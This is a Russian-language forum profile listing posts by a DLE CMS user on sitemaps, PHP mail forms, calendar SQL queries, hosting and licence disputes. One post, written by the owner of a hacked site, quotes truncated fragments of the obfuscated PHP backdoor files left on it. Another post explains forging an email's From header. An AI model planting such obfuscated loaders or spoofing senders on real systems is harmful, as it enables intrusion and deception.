Перейти к публикации

webair

Клиенты
  • Публикации

    855
  • Зарегистрирован

  • Посещение

  • Дней в лидерах

    62

Сообщения, опубликованные пользователем webair

  1. Что нам говорит о Sitemaps Википедия:

    SitemapsXML-файл с информацией для поисковых систем (таких как Яндекс, Google, Bing, Поиск@Mail.Ru) о страницах веб-сайта, которые подлежат индексации. Sitemaps может помочь поисковикам определить местонахождение страниц сайта, время их последнего обновления, частоту обновления и важность относительно других страниц сайта для того, чтобы поисковая машина смогла более разумно индексировать сайт.

    Можно предоставить несколько файлов Sitemap, однако в каждом из этих файлов должно быть не более 50000 URL, а размер каждого из этих файлов не должен превышать 10 МБ. При необходимости файл Sitemap можно сжать с помощью архиватора gzip, чтобы его размер не превышал 10 МБ, и тем самым уменьшить требования к пропускной способности канала.

    Если необходимо перечислить более 50000 URL, следует создать несколько файлов Sitemap, при этом необходимо перечислить каждый из этих файлов в файле индекса Sitemap (Sitemap index). Формат файла индекса Sitemap похож на формат файла Sitemap.

    У вас просто не умещается в одном файле все URL, поэтому разбито на несколько sitemaps файлов.

  2. bf98aec39451.jpg

    Кул хацкеры атакуют :D Наглядный пример, зачем надо менять адрес админки. Каким то чудом им всё таки удалось залить вредоносные файлы )

    Пытаюсь выяснить где дырка. Таких примеров взломов у меня много.

    Подскажите удобный визуальный анализатор логов.

    Вот такое содержимое файла post.php оставили

    <?php @error_reporting(0); @ini_set("di\x73p\x6c\x61\x79_e\x72\x72ors",0); @ini_set("lo\x67\x5ferr\x6f\x72s",0); @ini_set("er\x72\x6fr_\x6c\x6f\x67",0); @ini_set?>
    Файл sys09725444.php
    <?php
    
    ${"\x47L\x4f\x42A\x4c\x53"}["\x6dql\x65byzv\x6dj"]						= "k";
    
    
    }
    
    ?>
    
    [/code]

  3. ооо круто :) благодарю , ща попробую...

    в общем в сети нашел как сделать отправку,

    создал файл mail.php

    <?php

    // если была нажата кнопка "Отправить"

    if($_POST['submit']) {

    // $_POST['title'] содержит данные из поля "Тема", trim() - убираем все лишние пробелы и переносы строк, htmlspecialchars() - преобразует специальные символы в HTML сущности, будем считать для того, чтобы простейшие попытки взломать наш сайт обломались, ну и substr($_POST['title'], 0, 1000) - урезаем текст до 1000 символов. Для переменной $_POST['mess'] все аналогично

    $title = substr(htmlspecialchars(trim($_POST['title'])), 0, 1000);

    $mess = substr(htmlspecialchars(trim($_POST['mess'])), 0, 1000000);

    // $to - кому отправляем

    $to = 'моя почта@list.ru';

    // $from - от кого

    $from='test@test.ru';

    // функция, которая отправляет наше письмо.

    mail($to, $title, $mess, 'From:'.$from);

    echo 'Спасибо! Ваше письмо отправлено.';

    }

    ?>

    далее в шаблоне вставляю - {include file="/engine/modules/mail.php"} - но письмо мне не приходит (

    где я ошибся ?

    mail.php в корневую директорию и инклуд не нужен. еще бы кодировку вашему письму указать, чтобы не было проблем.

    Сладкое на десерт:

    Вариант 1. сделать ответ скрипта с AJAX (чтобы не было переходов и перезагрузок страниц).

    Вариант 2. Псевдо AJAX через iframe. Вставляете фрейм рядом с формой. Фрейму даете name="order", а в тег form добавьте target="order"

  4. Сайт на localhost

    есть.

    По находящимся на локальных компьютерах демоверсиям никакой помощи и поддержки на форуме не оказывается

    Не демоверсия. Лицензия куплена, скачена официальная версия и установлена на локалхост последняя актуальная 10.1

    Почему я не могу получить консультацию у людей, которые уже сталкивались с этой проблемой?

    Для меня зануллить почти любой скрипт дело 5 минут, но я отношусь уважительно к разработчикам и покупаю лицензию. Участвую в помощи новичкам, а сам не могу получить никакой помощи?

    Для чего Вам мой сайт? Для того, чтобы помочь в данной ситуации сайт не нужен. Вы же не модератор, проверять статус моей лицензии, вы этого сделать не сможете никак. А по первому же требованию разработчикамодератора я предоставляю лицензию.

    P.S. Ну уж извините, если обидел кого то своим юмором на счет "молодых мам". С 8 марта :)

  5. Ну что, ребятки. В очередной раз убеждаюсь, что нахожусь на форуме "молодых мам"
    Ты находишься на форуме, где все знают, как ограничить выборку. Просто до этого ты такие понты кидал, что всем стало ясно, что уж это ты должен знать. Кроме тогго, понты ты можешь засунуть куда хочешь, а вот правила форума для тебя никто не отменял. Ты их не выполнил, и решил, что для тебя они не действуют, так какой ты помощи ждешь?

    Лицензия не активированная есть. Сайт на localhost.

    Пожалуйста, обходи стороной мои сообщения. Может в подписи написать "alex32 не отвечай мне"?

    Есть вопросы еще?

  6. Доброго времени суток! помогите пожалуйста, а то я в сети никак не могу найти ответ на свой вопрос - как сделать автоматическое наполнение обратной связи для каждой новости?

    например: есть на сайте товар - монитор ,пользователю на сайте понравился монитор, под картинкой монитора например кнопка "Заказать" при нажатии на эту кнопку выходит форма обр.связи где уже набрана модель монитора и его цена, пользователю остаётся только заполнить ФИО и контакты.

    Вот думаю можно ли в full-story.tpl скопировать код из feedback.tpl и добавить привязку к ID но вот додумать не могу как это сделать или может есть другой выход ?

    Заранее спасибо!

    
    <form action="mail.php" method="POST">
    
    <input type="text" value="{news-id}" name="id" disabled="disabled" />
    
    <input type="text" value="{title}" name="product" disabled="disabled" />
    
    ФИО <input type="text" value="" name="name"/>
    
    E-mail <input type="text" value="" name="email" />
    
    Сообщение<textarea name="text"></textarea>
    
    <input type="submit" value="Отправить"/>
    
    </form>
    
    

    Домашнее задание:

    Пихнуть в full-story.tpl + повесить на модальное окно + написать обработчик на php (mail.php) + оформить в css по уму

    В итоге получаем примитивный Интернет Магазин

    Если не будет получаться, пиши в PM :rolleyes:

    • Поддерживаю 1
  7. В calendar.php тоже во все 3 запроса добавил category=2 :)

    Но почему это не срабатывает, может запрос закешировался? Заходим в любую дату и там уже в календаре всего 2 ссылки, как и должно быть. А на всех других страницах сайта много дат с ссылками

    Сбросил кеш через админку, удалил кеш в engine/cache/system, Ctrl+F5 но та же байда

    Вот привожу куски кода из calendar.php где я менял запросы на category IN ('2')

    if( $year != '' and $month != '' ) {
    
    
    			$month = totranslit($month, true, false);
    
    
    			if( ($year == $this_year and $month < $this_month) or ($year < $this_year) ) {
    
    				$where_date = "";
    
    				$approve = "";
    
    			} else {
    
    				$approve = "AND approve=1";
    
    			}
    
    
    			$sql = "SELECT DISTINCT DAYOFMONTH(date) as day FROM " . PREFIX . "_post WHERE category IN ('2') AND date >= '{$year}-{$month}-01' AND date < '{$year}-{$month}-01' + INTERVAL 1 MONTH" . $approve . $where_date;
    
    
    			$this_month = $month;
    
    			$this_year = $year;
    
    
    		} else {
    
    
    			$sql = "SELECT DISTINCT DAYOFMONTH(date) as day FROM " . PREFIX . "_post WHERE category IN ('2') AND date >= '{$this_year}-{$this_month}-01' AND date < '{$this_year}-{$this_month}-01' + INTERVAL 1 MONTH AND approve=1" . $where_date;
    
    
    		}
    if( $config['no_date'] AND !$config['news_future'] ) {
    
    			$thisdate = date( "Y-m-d H:i:s", $_TIME );
    
    			$where_date = " AND date < '" . $thisdate . "'";
    
    		} else
    
    			$where_date = "";
    
    
    		$db->query( "SELECT DATE_FORMAT(date,'%b %Y') AS m_date, COUNT(id) AS cnt FROM " . PREFIX . "_post WHERE category IN ('2') AND approve=1" . $where_date . " GROUP BY m_date ORDER BY date desc" );

    UPD:

    Ну что, ребятки. В очередной раз убеждаюсь, что нахожусь на форуме "молодых мам" :D

    Сам я разобрался. Забыл, что календарь крутится на аяксе. Нашел папку AJAX а там и файлик calendar.php поменял запросы как надо и вуаля.

    :ph34r:

  8. Необходим вывод новостей в календаре только из определенных категорий.

    Я уже реализовал вывод новостей только из нужной категории За день, За месяц и За год в engine.php добавив category=2

    $sql_select = "SELECT p.id, p.autor, p.date, p.short_story, CHAR_LENGTH(p.full_story) as full_story, p.xfields, p.title, p.category, p.alt_name, p.comm_num, p.allow_comm, p.fixed, p.tags, e.news_read, e.allow_rate, e.rating, e.vote_num, e.votes, e.view_edit, e.editdate, e.editor, e.reason FROM " . PREFIX . "_post p LEFT JOIN " . PREFIX . "_post_extras e ON (p.id=e.news_id) WHERE category=2 AND {$stop_list}date >= '{$year}-{$month}-{$day}' AND date < '{$year}-{$month}-{$day}' + INTERVAL 24 HOUR AND approve=1" . $where_date . " ORDER BY " . $news_sort_by . " " . $news_direction_by . " LIMIT " . $cstart . "," . $config['news_number'];
    
    $sql_count = "SELECT COUNT(*) as count FROM " . PREFIX . "_post WHERE category=2 AND {$stop_list}date >= '{$year}-{$month}-{$day}' AND date < '{$year}-{$month}-{$day}' + INTERVAL 24 HOUR AND approve=1" . $where_date;

    Всё бы хорошо, да у меня нет новостей по этой категории например 3 марта, но есть в других категориях, поэтому в календаре есть ссылка.

    Но добавление условия в запросы category=2 в calendar.php не дают ничего.

    Лицензия имеется

  9. да вы сударь гоните..

    нужно всего лишь вернуть {rating} в шаблон(shortstory/fullstory) и/или включить его в настройках скрипта

    У него на сайте уже имеется рейтинг в виде точек.

    ТС, Замените изображения звездочками и сверстайте. А вообще, если не в курсе что такое HTML и CSS, никто бесплатно не сделает.

  10. В начало файла .htaccess(находится в корневой директории) вставьте строки:

    
    php_value max_execution_time 360
    
    php_value max_input_time 360
    
    

    Может помочь, если хостер не суровый :)

    Интересная у вас страница статистики http://www.imha.ru/statistics.html, верстка супер.

    Кроме администратора, эта статистика никому не нужна. Наверное, специально верстать не стали

  11. Оригинальную демоверсию можно использовать неограниченно долго по времени, я вам это уже ранее писал. Только вот если у вас опять "случайно" пропадут копирайты, это уже не будет демоверсией.

    Случайнго стоило бы использовать без кавычек ибо плевать мне на метатег генаратор и мусор в html комментариях, хотя и требование их считаю глупым но уважаю право человека на глупость.

    НО.

    Ребята.

    Приплыли, подобное письмо пришло на сайт где куплена лицензия изначально, буду писать на legacy@dle-news.ru но ребята, вы там вообще вменяемые? Вы вообще проверяете когда пишите или шлете всем подряд?

    p.s.

    все копирайты на том сайте видны были и счас и тогда, лицензия покупалась изначально.

    Я понимаю там борьба у вас, но не до такой же степени, ребята, не красит это вас.

    Кстати с legacy@dle-news.ru так и не отвечают, кому и как писать в данном случае? Лицензия на сайт была приобретена давно, и активированна, соглашение не нарушалось. Что делать если legacy@dle-news.ru молчит? Вы передали кому то в россии борьбу с пиратами? Можно узнать какие данные передавались и кто реальный автор этих писем?

    ООО “СофтНьюс Медиа Групп” - это вообще вы?

    Конкуренты и недоброжелатели у вас есть? Похоже на злую шутку.

    Отправить письмо очень просто с любого почтового ящика (да хоть info@microsoft.com). Необходимо в php скрипт лишь записать From: mail@vasya-pupkin.com

  12. Собираетесь брать сервер и не знаете что такое кол-во процессов.

    и где вы прочитали, что я не знаю, что такое кол-во процессов? Мне как то эти ваши рассказы неинтересны, равно и то, сколько там у вас на сервере сайтов. Я не о том спрашивал.

    Я вам привел примерные цифры. Если математику знаете, посчитайте сколько можно DLE сайтов поставить. И всегда должен быть запас кол-ва процессов. 40 сайтов. Такой ответ устроит?

  13. Собираетесь брать сервер и не знаете что такое кол-во процессов.

    Обычно на шаред хостингах ограничивают процессы :)

    У меня на сервере 1000 сайтов и 500 процессов они занимают. (используются разные CMS и совсем разные по типу проекты).

    Кол-во процессов это apache+mysql+ftp+nginx+ еще прочие )

    На кол-во процессов mysql и apache влияет кол-во обращений к БД и к сайту вообще )

  14. Здравствуйте.

    На нашем сайте используется скачаная официальная версия без активации, с ограничениями демоверсии, в исходном коде изменений не производилось и остальные условия соглашения также не нарушались. По сути на сайте только несколько статических страниц и все, никаких изменений в исходном коде не требовалось и демо-ограничений вполне достаточно, поэтому платная лицензия не преобраталась.

    И вот нам пришло письмо счастья с заголовком "притензитя" и требованием приобрести платную версию.

    В связи с чем хотим уточнить, с какого момента запрещается использование движка без его активации?

    Вы бы адрес ресурса указали для ясности.

    • Поддерживаю 1
×
×
  • Создать...